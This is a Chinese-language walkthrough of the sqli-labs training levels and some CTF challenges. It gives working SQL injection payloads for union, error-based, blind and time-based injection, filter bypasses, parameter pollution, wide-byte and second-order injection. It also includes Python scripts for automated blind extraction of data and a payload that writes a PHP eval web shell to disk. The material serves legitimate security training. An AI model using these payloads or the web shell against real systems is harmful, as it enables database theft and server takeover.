level-1

字符型 ‘注入

1
-1' union select 1,2,group_concat(username,id,password) from users--+

唯一注意点就是查询时要用-1 因为我们要得到union后的结果

level-2

数字型注入

后面过程和level-1一样

1
-1 union select 1,2,group_concat(username,id,password) from users--+

level-3

输入1’ 回显中有个) 说明sql语句里有() 考虑加入) 与前面的( 构成闭合

1’ ) –+构造闭合成功

后面与level-1 level-2 一样

1
-1') union select 1,2,group_concat(username,id,password) from users--+

level-4

双引号和括号构造闭合

1
-1") union select 1,2,group_concat(username,id,password) from users--+

level-5

1’ –+ 没有回显

采用报错注入

1
1' and updatexml(1,concat(0x7e,database()),1) --+   #爆出数据库
1
1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
1
1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+
1
2
1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+
#这里回显的并非全部内容
1
2
3
1' and updatexml(1,concat(0x7e,(select username from users limit ,1)),1) --+
1' and updatexml(1,concat(0x7e,(select username from users limit 1,1)),1) --+
#用limit一个一个看字段内容

报错注入原理

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。所以我们可以利用第二个参数来得到我们想要的敏感数据。

updatexml()函数

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH

长度限制

updatexml() 函数的报错内容长度不能超过32个字符,解决方式有两种:

1.limit 分页

1
?id=-1' and updatexml(1,concat(0x7e,(select user from mysql.user limit 1,1)),3) --+

2.substr()截取字符

1
?id=-1' and updatexml(1,concat(0x7e,substr((select group_concat(user)from mysql.user), 1 , 31)),3) --+

意思为从第一个字符开始截取31个字符

level-6

和level-5类似 不过是”闭合

1
1" and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+

level-7

考点:sql写入文件

写入条件:

权限为root、知道网站的物理路径、secure_file_priv=空

1
2
3
secure_file_priv的值为null ,表示限制mysqld不允许导入|导出
secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制

注意点:

要知道web路径 EX: D:\phpstudy_pro\WWW\a.txt #文件路径不能使用反斜线\,要使用斜线/

文件内容可以是一句话木马等

读文件:

load_file 读取文件内容

load_file(‘/var/www/html/flag.php’) root权限在已知绝对路径的情况下

写文件用法:

into outfile(可以写入多行,按格式输出) into dumpfile(写入单行没有输出格式)

1
1'))  union select 1,"<?php @eval($_POST['attack']);?>",3 into outfile "D:\\phpstudy_pro\\WWW\\aaa.php" --+

查看目录存在aaa.php或者菜刀能连上就成功

level_8

布尔盲注:写脚本!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import requests
url = "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-8/"
def get_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i,mid) #--后面要加空格哦
params = {"id": payload}
r = requests.get(url, params=params)
if "You are in..........." in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

if mid == 32:
break
name = name + chr(mid)
print(name)
get_database(url)
payload2:1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)) > %d--
payload3:1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),%d,1)) > %d--
payload4:1' and ascii(substr((select group_concat(username,id,password) from users),%d,1)) > %d--



//
//
import requests
import time
url= ''

database =""

#payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1"
#payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"
#payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1"
#payload4 = "?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1"

for i in range(1,10000):
low = 32
high = 128
mid =(low + high) // 2
while(low < high):
# payload = payload1.format(i,mid) #查库名
# payload = payload2.format(i,mid) #查表名
# payload = payload3.format(i,mid) #查列名
#payload = payload4.format(i,mid)

new_url = url + payload
r = requests.get(new_url)
time.sleep(0.1)
print(new_url)
if "Hi admin, your score is: 100" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) //2
if (mid == 32 or mid == 132):
break
database +=chr(mid)
print(database)

print(database)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
#调用请求模块
import time
#调用时间模块
import re
#调用规则表达式模块
url='http://9819e874-b0cf-49cd-91b3-4aa443e1b27a.node5.buuoj.cn:81/'
#题目链接
flag = ''
#创建一个变量用来存放flag值
for i in range(1,50):
#for循环遍历,i表示flag值大致长度是50以内
max = 127
#赋值127
min = 0
#赋值0
for c in range(0,127):
#for循环遍历
s = (int)((max+min)/2)
#首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
#^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。
#从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个))
#将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。
r = requests.post(url,data = {'id':payload})
#requests模块的运用,将payload赋值给题目中这个名为id的参数
time.sleep(0.005)
#每循环一次休眠0.005秒
if 'Hello' in str(r.content):
#如果Hello这个字符串在生成的结果中,那么就继续向下进行
max=s
#将s的值赋值给max
else:
#反之
min=s
#将s的值赋值给min
if((max-min)<=1):
#如果max-min的值
flag+=chr(max)
#将max的ASCII值转化为字符串
print(flag)
#输出flag
break
#跳出循环

level_9

时间盲注:写脚本!

1’ and if(length(database())>1,sleep(5),1)–+ #可以查看闭合是不是正确的 闭合正确网页就会睡5秒

IF语法

1
2
语法:IF(condition, value_if_true, value_if_false)
condition是一个条件表达式,如果条件成立,则返回value_if_true,否则返回value_if_false。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
url = "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/"
def get_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
params = {"id": payload}
start_time = time.time()
r = requests.get(url, params=params)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

if mid == 32:
break
name = name + chr(mid)
print(name)
get_database(url)
1
2
3
payload2:1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), %d, 1)) > %d, sleep(0.5), 0)-- 
payload3:1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()), %d, 1)) > %d, sleep(0.5), 0)--
payload4:1' and if(ascii(substr((select group_concat(username,id,password) from users), %d, 1)) > %d, sleep(0.5), 0)--

level_10

1’ and if(length(database())>1,sleep(5),1)–+ #没睡

1” and if(length(database())>1,sleep(5),1)–+ #延迟了 说明闭合方式是”

然后盲注 方式和level_9一样

level_11

‘闭合

level_12

闭合方式”) 1”) union select 1,database()# 类似 正常联合注入

level_13

闭合方式’)

然后只会回显成功登录 尝试下报错注入 成功了

就报错注入正常做

level_14

“闭合 报错注入正常注入

level_15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time

url = "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-15/"

def get_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
while low < high:
mid = (low + high) // 2
payload = "admin' and if(ascii(substr(database(), %d, 1)) > %d, sleep(0.5), 0)#" % (i, mid)
params = {
"uname": payload,
"passwd": "admin",
"submit": "Submit"
}
start_time = time.time()
r = requests.post(url, data=params)
end_time = time.time()

if end_time - start_time >= 0.5:
low = mid + 1
else:
high = mid

if low == 32:
break

name += chr(low)
print(name)

get_database(url)

然后正常盲注

level_16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time

url = "http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-16/"

def get_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
while low < high:
mid = (low + high) // 2
payload = "admin\") and if(ascii(substr(database(), %d, 1)) > %d, sleep(0.5), 0)#" % (i, mid)
params = {
"uname": payload,
"passwd": "admin",
"submit": "Submit"
}
start_time = time.time()
r = requests.post(url, data=params)
end_time = time.time()

if end_time - start_time >= 0.5:
low = mid + 1
else:
high = mid

if low == 32:
break

name += chr(low)
print(name)

get_database(url)

以此类推

level_17

报错注入or盲注 不多写

报错注入类型补充

extractvalue报错注入

extractvalue(XML_document,XPath_string) 只有两个参数

1
2
3
1' and extractvalue(1,concat(0x7e,database()))#
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
以此类推

floor报错注入

1
1' and (select 1 from (select count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+
1
1' and (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

levle_18

user_agent注入 报错注入

level_19

referer注入 报错注入

level_20

cookie注入 报错注入 和前文差不多

level_21

cookie注入 不过写入的payload需要base64编码

level_22

cookie注入 不过闭合方式从’ -> “ 仍然要编码

level_23

考点:过滤# –+ 可以考虑用一个表达式构造闭合

1
2
3
4
-1' union select 1,database(),3 and '1' = '1
-1' union select 1,database(),3 or '1' = '1
#第一个'和sql语句的第一个'构成闭合 payload尾的'1和sql语句的'构成闭合 使'1'='1'成立 完美的不用注释符号就构造了闭合
最后语句:-1' union select 1,(select group_concat(username,id,password) from users),3 and '1' = '1

其实也可以把表达式替换为’

1
-1' union select 1,database(),3 '

level_24

考点:二次注入

二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

过程:先构造恶意语句 然后存入数据库 然后第二次构造语句

过程

首先注册admin’#帐号 123456 然后修改admin’#的密码 但是实际上修改的是admin的密码

1
2
3
4
5
6
7
8
9
10
#原语句
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

#插入 payload 后的语句
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
#此时 'admin' 后的语句被注释

#真正的生效的语句
UPDATE users SET PASSWORD='$pass' where username='admin'
#从而达到了修改用户 admin 密码的目的

level_25

将or和and替换为空

1
oorr aandnd

然后正常注入

level_26

过滤了空格 注释符 or and /* /\

空格用()代替 注释符通过表达式或符号构造闭合 or和and可以双写绕过 还可以使用|| &&

1
2
3
4
5
6
7
8
9
1'||(updatexml(1,concat(0x7e,(select(database()))),1))||'1'='1

1'||(updataxml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))||'1'='1

1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'1'='1

1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'))),1))||'1'='1

1'||(updatexml(1,concat(1,(select(group_concat(passwoorrd,username))from(users))),1))||'1'='1

level_27

过滤了select SELECT Select union UNION Union /* # – +

空格可以用%09和%0a替代 select用sElect

1
1'and%09updatexml(1,concat(1,(sElect%09database())),1)%0aand'1'='1

level_28

/* – + 空格 过滤union select 这个组合

空格用编码 注释用表达式等式 union select组合绕过 uniunion%0Aselecton%0Aselect%0A

1
-1')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

level_29

考点;http参数污染来进行注入

tomcat只解析重复参数里面的前者,而Apache只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容,我们的后端是apache,那么我们只要将参数放在后面即可。

payload:

1
2
3
?id=1&id=-1' union select 1,database(),3 --+
?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
以此类推

level_30

闭合方式改为” 其他和29一样

level_31

闭合方式为’) 其他和29一样

level_32

宽字节注入

原理:

一个gbk编码汉字,占用2个字节。

一个utf-8编码的汉字,占用3个字节。

addslashes函数的作用就是让’变成',让引号变得不再是原本的“单引号”,没有了之前的语义,而是变成了一个字符。那么我们现在要做的就是想办法将’前面的\给它去除掉:
既然这函数给’前面加了一个\那么是不是想办法给\前面再加一个\(或单数个即可),然后变成了\‘,这样\就又被转义了,这样就成功的逃出了addslashes的限制

‘前面加%df 然后正常注入

1
-1%df' union select 1,2,database()--+

知识点

空格绕过

在docker中,空格可以用转义符%a0代替。

技巧

来源题目:[SWPU2019]Web1-CSDN博客

1
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

这样可以不用information 绕过对or的限制

img

1
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

已经知道表名的情况下可以采用无列名爆破法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
普通的sq查询
select * from users

查询表,并把列名替换为1,2,3.4,5,6
select 1,2,3,4,5 ,6 union select * from users

单独把第四列提出来,(select 1,2,3,4,5,6 union select * from users)a给查询结果命名
select `4` from (select 1,2,3,4,5,6 union select * from users)a;

若反引号被过滤,可以这样
select b from (select 1,2,3 as b,4,5 union select * from users)a;

测试:
-- 在已经知道beanbook表,但是不知道其字段名的情况下,爆出该表的字段值
-- 爆出第3列的值,把3当作第三列的字段名
select `3` from
(select 1,2,3,4,5,6 union select * from beanbook) as b

-- 爆出第1列的值,把别名a当作第一列的字段名
select a from
(select 1 as a,2,3,4,5,6 union select * from beanbook) as b

解释来源:[BUUCTF_WEB_[SWPU2019]Web1 题解 - South](